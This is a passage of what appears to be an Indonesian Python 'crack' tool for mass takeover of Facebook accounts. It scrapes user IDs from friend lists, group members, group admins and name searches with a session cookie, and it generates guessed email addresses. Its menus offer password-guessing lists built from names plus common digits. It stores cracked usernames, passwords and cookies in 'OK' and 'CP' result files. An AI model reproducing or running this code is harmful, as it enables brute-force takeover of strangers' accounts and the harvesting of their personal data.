  300.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Grup Facebook Grup Pastikan Tidak Terkunci Atau Private, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 322227862223869,489534719248261[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  301.                 username = Console().input("[bold grey50]   ╰─> ")
  302.                 for self.username in username.split(','):
  303.                     try: self.Dump_Member(self.username, cookie, '')
  304.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: pass
  305.                 if len(dump) < 50:
  306.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  307.                     exit()
  308.                 else:
  309.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  310.                     self.Methode()
  311.             except (Exception) as e:
  312.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  313.                 exit()
  314.                
  315.         elif query == '04' or query == '4':
  316.             try:
  317.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Grup Facebook, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] ayam, kandang[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  318.                 username = Console().input("[bold grey50]   ╰─> ")
  319.                 for self.username in username.split(','):
  320.                     try: self.Dump_Admin(f'https://free.facebook.com/search/groups/?q={self.username}', cookie)
  321.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  322.                 if len(dump) < 50:
  323.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  324.                     exit()
  325.                 else:
  326.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  327.                     self.Methode()
  328.             except (Exception) as e:
  329.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  330.                 exit()    
  331.                
  332.         elif query == '05' or query == '5':
  333.             try:
  334.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan File Dump Anda Sesuai Tempat Menyimpan File Dump, Banyaknya File Dump Bisa Menggunakan Koma, Misalnya :[italic green] /sdcard/dump1.txt,/sdcard/dump2.txt[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  335.                 username = Console().input("[bold grey50]   ╰─> ")
  336.                 for self.username in username.split(','):
  337.                     try: self.Clone_Files(self.username)
  338.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  339.                 if len(dump) < 50:
  340.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  341.                     exit()
  342.                 else:
  343.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  344.                     self.Methode()
  345.             except (Exception) as e:
  346.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  347.                 exit()                
  348.                
  349.         elif query == '06' or query == '6':
  350.             try: file = os.listdir('/sdcard/CP')
  351.             except (Exception) as e:
  352.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  353.                 exit()
  354.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  355.             Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  356.             files = Console().input("[bold grey50]   ╰─> ")
  357.             Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  358.             Console().input("[bold grey50]   ╰─> Tekan Enter!!")
  359.             for buka in open('/sdcard/CP/'+str(files)).readlines():
  360.                 try:
  361.                     username, password = buka.split('|')[0], buka.split('|')[1]
  362.                     self.DetedtorChekpoint(username, password)
  363.                 except (Exception) as e:
  364.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  365.                     exit()    
  366.                
  367.         elif query == '07' or query == '7':
  368.             try:
  369.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Depan!, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, rahmawati[bold white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  370.                 username = Console().input("[bold grey50]   ╰─> ")
  371.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Belakang!, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, rahmawati[bold white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  372.                 fullname = Console().input("[bold grey50]   ╰─> ")
  373.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Total Dump Email, Dump Email Dengan Jumlah Di Wajibkan Melebihi [bold red]2000!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  374.                 total = Console().input("[bold grey50]   ╰─> ")
  375.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Domain, Example :[italic green] @gmail.com, @yahoo.com dan lainnya", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  376.                 domain = Console().input("[bold grey50]   ╰─> ")
  377.                 for self.username in username.split(','):
  378.                     for self.fullname in fullname.split(','):
  379.                         try: self.Clone_Email(self.username, self.fullname, total, domain)
  380.                         except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  381.                 if len(dump) < 50:
  382.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Email Terlalu Sedikit, Dump Email Harus Melebihi 50 Email Dan Pastikan Target Nama Umum!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  383.                     exit()
  384.                 else:
  385.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  386.                     self.Methode()
  387.             except (Exception) as e:
  388.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  389.                 exit()    
  390.                
  391.         elif query == '08' or query == '8':
  392.             try:
  393.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  394.                 choose = Console().input("[bold grey50]   ╰─> ")
  395.                 if choose =='01' or choose =='1':
  396.                     try: file = os.listdir('/sdcard/OK')
  397.                     except (Exception) as e:
  398.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  399.                         exit()
  400.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  401.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]ok-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  402.                     files = Console().input("[bold grey50]   ╰─> ")
  403.                     self.Result(choose,files)
  404.                     exit()                    
  405.                 elif choose =='02' or choose =='2':
  406.                     try:
  407.                         file = os.listdir('/sdcard/CP')
  408.                     except (Exception) as e:
  409.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  410.                         exit()
  411.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  412.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]cp-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  413.                     files = Console().input("[bold grey50]   ╰─> ")
  414.                     self.Result(choose,files)
  415.                     exit()
  416.                 else:
  417.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Chek Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<"))
  418.                     exit()  
  419.             except (Exception) as e:
  420.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  421.                 exit()
  422.                              
  423.         elif query == '00' or query == '0':
  424.             try: self.deled_dst()
  425.             except (Exception) as e:
  426.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold blue50]) [bold green]<[bold yellow]<[bold red]<"))
  427.                 exit()
  428.         else:
  429.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  430.             exit()    
  431.    
  432.     def Result(self, result, isi):
  433.         if result in ('1','01'):
  434.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  435.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true.add(f"Teman {buka.split('|')[2]}"); true.add(f"Tanggal Lahir {buka.split('|')[3]}"); true = tree.add(f"Cookie {buka.split('|')[4]}"); tree.add("Success cek in Result OK"); printz(tree)
  436.                 except Exception as e: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true = tree.add(f"Cookie {buka.split('|')[2]}"); tree.add("Success cek in Result OK"); printz(tree)
  437.                    
  438.         elif result in ('2','02'):
  439.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  440.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
  441.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
  442.  
  443.     def Dump_Friends(self,username,token,cookie):
  444.         with requests.Session() as r:
  445.             try:
  446.                resp = r.get(f'https://graph.facebook.com/{username}?fields=friends.fields(id,name)&limit=5000&access_token={token[1]}', cookies={'cookie':cookie[0]}).json()
  447.                for i in resp['friends']['data']:
  448.                    uid, name = i['id'], i['name']
  449.                    if uid+'<=>'+name not in dump:
  450.                        dump.append(uid+'<=>'+name)
  451.                        Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} ID...     ", end='\r')
  452.             except (AttributeError, KeyboardInterrupt) as e: pass
  453.            
  454.     def Dump_Nama(self, url, cookie, cursor):
  455.         with requests.Session() as r:
  456.             try:
  457.                 curl = bs(r.get(url, headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text,'html.parser')
  458.                 self.payload = Requ().payload(curl)
  459.                 self.payload.update({
  460.                     'fb_api_req_friendly_name': 'SearchCometResultsPaginatedResultsQuery',
  461.                     'variables':json.dumps({"UFI2CommentsProvider_commentsKey":"SearchCometResultsInitialResultsQuery","allow_streaming":False,"args":{"callsite":"COMET_GLOBAL_SEARCH","config":{"exact_match":False,"high_confidence_config":None,"intercept_config":None,"sts_disambiguation":None,"watch_config":None},"context":{"bsid":re.search('"bsid":"(.*?)"',str(curl)).group(1),"tsid":None},"experience":{"encoded_server_defined_params":None,"fbid":None,"type":"PEOPLE_TAB"},"filters":[],"text":url.split('=')[-1].replace('+',' ')},"count":5,"cursor":cursor,"displayCommentsContextEnableComment":False,"displayCommentsContextIsAdPreview":False,"displayCommentsContextIsAggregatedShare":False,"displayCommentsContextIsStorySet":False,"displayCommentsFeedbackContext":None,"feedLocation":"SEARCH","feedbackSource":23,"fetch_filters":True,"focusCommentID":None,"locale":None,"privacySelectorRenderLocation":"COMET_STREAM","renderLocation":"search_results_page","scale":1.5,"stream_initial_count":0,"useDefaultActor":False,"__relay_internal__pv__IsWorkUserrelayprovider":False,"__relay_internal__pv__IsMergQAPollsrelayprovider":False,"__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider":False,"__relay_internal__pv__CometUFIIsRTAEnabledrelayprovider":False,"__relay_internal__pv__StoriesArmadilloReplyEnabledrelayprovider":False,"__relay_internal__pv__StoriesRingrelayprovider":False}),
  462.                     'server_timestamps':True,
  463.                     'doc_id':'7704205549605925'
  464.                 })
  465.                 resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
  466.                 for i in resp['data']['serpResponse']['results']['edges']:
  467.                     uid, nama = i['relay_rendering_strategy']['view_model']['loggedProfile']['id'], i['relay_rendering_strategy']['view_model']['loggedProfile']['name']
  468.                     if uid+'<=>'+nama not in dump:
  469.                         dump.append(uid+'<=>'+nama)
  470.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User ID...     ", end='\r')
  471.                 if resp['data']['serpResponse']['results']['page_info']['has_next_page']:
  472.                     cursor = resp['data']['serpResponse']['results']['page_info']['end_cursor']
  473.                     self.Dump_Nama(url,cookie,cursor)
  474.             except (AttributeError, KeyboardInterrupt) as e: pass      
  475.            
  476.     def Dump_Member(self, username, cookie, cursor):
  477.         with requests.Session() as r:
  478.             try:
  479.                 curl = r.get('https://www.facebook.com/groups/%s/members'%(username), headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text
  480.                 self.payload = Requ().payload(curl)
  481.                 self.payload.update({
  482.                     'fb_api_req_friendly_name': 'GroupsCometMembersPageNewMembersSectionRefetchQuery',
  483.                     'server_timestamps':True,
  484.                     'doc_id':'6621621524622624',
  485.                     'variables':json.dumps({"count":10,"cursor":cursor,"groupID": re.search('"groupID":"(.*?)"',str(curl)).group(1),"recruitingGroupFilterNonCompliant":False,"scale":1.5,"id": re.search('"groupID":"(.*?)"',str(curl)).group(1)})
  486.                 })
  487.                 resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
  488.                 for i in resp['data']['node']['new_members']['edges']:
  489.                     uid, nama = i['node']['id'], i['node']['name']
  490.                     if uid+'<=>'+nama not in dump:
  491.                         dump.append(uid+'<=>'+nama)
  492.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User ID...     ", end='\r')
  493.                 if resp['data']['node']['new_members']['page_info']['has_next_page']:
  494.                     cursor = resp['data']['node']['new_members']['page_info']['end_cursor']
  495.                     self.Dump_Member(username,cookie,cursor)
  496.             except (AttributeError, KeyboardInterrupt) as e: pass            
  497.        
  498.     def Dump_Admin(self, url, cookie):
  499.         with requests.Session() as r:
  500.             try:
  501.                 link = r.get(url, cookies={'cookie':cookie[0]}).text
  502.                 cari = re.findall('<a\s+href="([^"]+)"><div class\=\".*?"><div class\=\".*?">([^<]+)</div>', str(link))
  503.                 for x in cari:
  504.                     if "groups" in x[0]:
  505.                         xx =r.get(f"https://mbasic.facebook.com/groups/{re.search('groups/(.*?)/', x[0]).group(1)}?view=members", cookies={'cookie':cookie[0]})
  506.                         if "Admin dan Moderator" in str(xx.text):
  507.                             carz = re.findall('<h3><a class\=\".*?" href="(.*?)">(.*?)</a></h3>', xx.text)
  508.                             for i in carz:
  509.                                 if "profile.php?" in i[0]: uid, nama = re.findall("id=(.*?)&amp;eav", i[0])[0], i[1]
  510.                                 else: uid, nama = re.findall("/(.*?)\?eav", i[0])[0], i[1]
  511.                         else: continue
  512.                         if uid+'<=>'+nama not in dump: dump.append(uid+'<=>'+nama)
  513.                     else: continue
  514.                     Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(uid)[:20]}/{len(uid)} Admin...     ", end='\r')
  515.                 if "Lihat Hasil Selanjutnya" in link:
  516.                     self.Dump_Admin(bs(link, "html.parser").find("a", string="Lihat Hasil Selanjutnya").get("href"), cookie)
  517.             except (AttributeError, KeyboardInterrupt) as e: pass            
  518.        
  519.     def Clone_Email(self, nama, uname, total, doma):
  520.         with ThreadPoolExecutor(max_workers=5):
  521.             for bukan_kaleng in range(int(total)):
  522.                 dumping = random.choice([
  523.                     f'{nama}{random.randint(99,999)}{doma}',
  524.                     f"{nama}{uname}{doma}",
  525.                     f"{nama}{uname}{str(random.randint(0,999))}{doma}"
  526.                 ])
  527.                 if dumping not in dump: dump.append(dumping+'<=>'+nama)
  528.                 Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User mail...     ", end='\r')
  529.             if int(len(dump)) == total: return(int(total))
  530.         return dump
  531.        
  532.     def Clone_Files(self, username):
  533.        try:
  534.             for buka in open(self.username,'r').readlines():
  535.                 try: uid, name = buka.split('|')[0], buka.split('|')[1]
  536.                 except: continue
  537.                 if uid+'<=>'+name not in dump: dump.append(uid+'<=>'+name)
  538.                 Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} ID...     ", end='\r')
  539.        except (Exception, FileNotFoundError) as e:
  540.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  541.            exit()
  542.        
  543.     def Methode(self):
  544.         try:
  545.             self.Cetimeters.append(Panel(f'[bold green]01.[bold white] Method [bold grey50]([bold green]Reguler Web[bold grey50])\n[bold green]02.[bold white] Method [bold grey50]([bold green]Massenger Old[bold grey50])', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Only[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  546.             self.Cetimeters.append(Panel(f'[bold green]03.[bold white] Method [bold grey50]([bold green]Bapi Old[bold grey50])\n[bold green]04.[bold white] Method [bold grey50]([bold green]Asyinc[bold grey50])', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  547.             Console().print(Columns(self.Cetimeters))
  548.             Type_Method = Console().input("[bold grey50]   ╰─> ")
  549.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menampilkan [italic green]Aplikasi, Teman, Tanggal lahir[italic white] Yang Terkait Di Dalam Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Opsi Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menampilkan Opsi Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  550.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  551.             if Secure_Akun =='y' or Secure_Akun =='ya': self.opsi.append('ya')
  552.             else: self.opsi.append('tidak')
  553.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Ketik [italic red]tidak/t[italic white] Jika Anda Ingin Menggunakan Useragent Bawaan Script, Ketik [italic yellow]sendiri[italic white] Jika Anda Ingin Menggunakan Useragent Anda Sendiri Dan Ketik [italic green]scrapt[italic white] Jika Anda Ingin Menggunakan Useragent Tunggal Scrapt Dari Website [italic white]([italic blue]https://user-agents.net[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  554.             Ua_Akun = Console().input("[bold grey50]   ╰─> ")
  555.             if Ua_Akun =='sendiri' or Ua_Akun =='Sendiri':
  556.                 self.uaman.append('ya')
  557.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  558.                 Mugu = Console().input("[bold grey50]   ╰─> ")
  559.                 self.uaku.append(Mugu)
  560.             elif Ua_Akun =='scrapt' or Ua_Akun =='Scrapt':
  561.                 self.uaman.append('ya')
  562.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Daftar Useragent Dari Website [italic white]([italic blue]https://user-agents.net[italic white]) Yaitu : [italic green]Windows Edge, Windows Vivaldi, Nokia Browser, Vivo Browser, Samsung Browser, Redmi Browser, Oppo Browser, Huawei Browser[italic white] Silakan Masukan Pilihan Anda, Misal : [italic green]Windows Browser", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  563.                 Web = Console().input("[bold grey50]   ╰─> ").lower()
  564.                 if Web =='windows edge': usd = self.Scraper_Useragent('https://user-agents.net/browsers/edge')
  565.                 elif Web =='windows vivaldi': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivaldi')
  566.                 elif Web =='nokia browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/nokia-proxy-browser')
  567.                 elif Web =='vivo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivo-browser')
  568.                 elif Web =='samsung browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/samsung-browser')
  569.                 elif Web =='redmi browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/miui-browser')
  570.                 elif Web =='oppo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/oppo-browser/platforms/android')
  571.                 elif Web =='huawei browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/huaweibrowser')
  572.                 self.uaku.append(usd)
  573.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{usd}", title = f"[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]{Web}[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  574.             else: self.uaman.append('tidak')
  575.             self.Exec_Password(Type_Method)
  576.         except (Exception) as e:
  577.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  578.             exit()
  579.            
  580.     def Scraper_Useragent(self, url, en=[]):
  581.         with requests.Session() as r:
  582.             try:
  583.                 resp = r.get(url,headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}).text
  584.                 cari = re.findall("<li><a href\=\'(.*?)\'\>(.*?)\<\/a\>", resp)
  585.                 for buka in cari:
  586.                     if "Mozilla" in str(buka):
  587.                         if buka not in en:en.append(buka[1])
  588.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(en)} Useragent...     ", end='\r')
  589.                 return(buka[1])
  590.             except (Exception) as e:
  591.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  592.                 exit()  
  593.            
  594.     def Exec_Password(self, Type_Method):
  595.         try:
  596.             Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Password Default [bold grey50]([bold green]Username, Nama 321,123,12345[bold grey50])\n[bold white][bold green]02[bold white]. Password Lengkap [bold grey50]([bold green]Username, Nama 321,123,1234,12345[bold grey50])\n[bold white][bold green]03[bold white]. Password Gabungan [bold grey50]([bold green]Bismillah, Sayang, Nama 321,123,12345[bold grey50])\n[bold white][bold green]04[bold white]. Password Manual [bold grey50]([bold green]Input Sandi Crack Minimal 5 Sandi![bold grey50])''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  597.             Password_Akun = Console().input("[bold grey50]   ╰─> ")
  598.             if Password_Akun in ('04') or Password_Akun in ('4'):
  599.                 self.masukan_sandine.append('ya')
  600.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya, Banyaknya Password Gunakan Pemisah Koma!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  601.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  602.                 for ops in Masukan_Password.split(','):
  603.                     self.password_manuale.append(ops)                
  604.             self.Password_Tambah(Type_Method,Password_Akun)
  605.         except (Exception) as e:
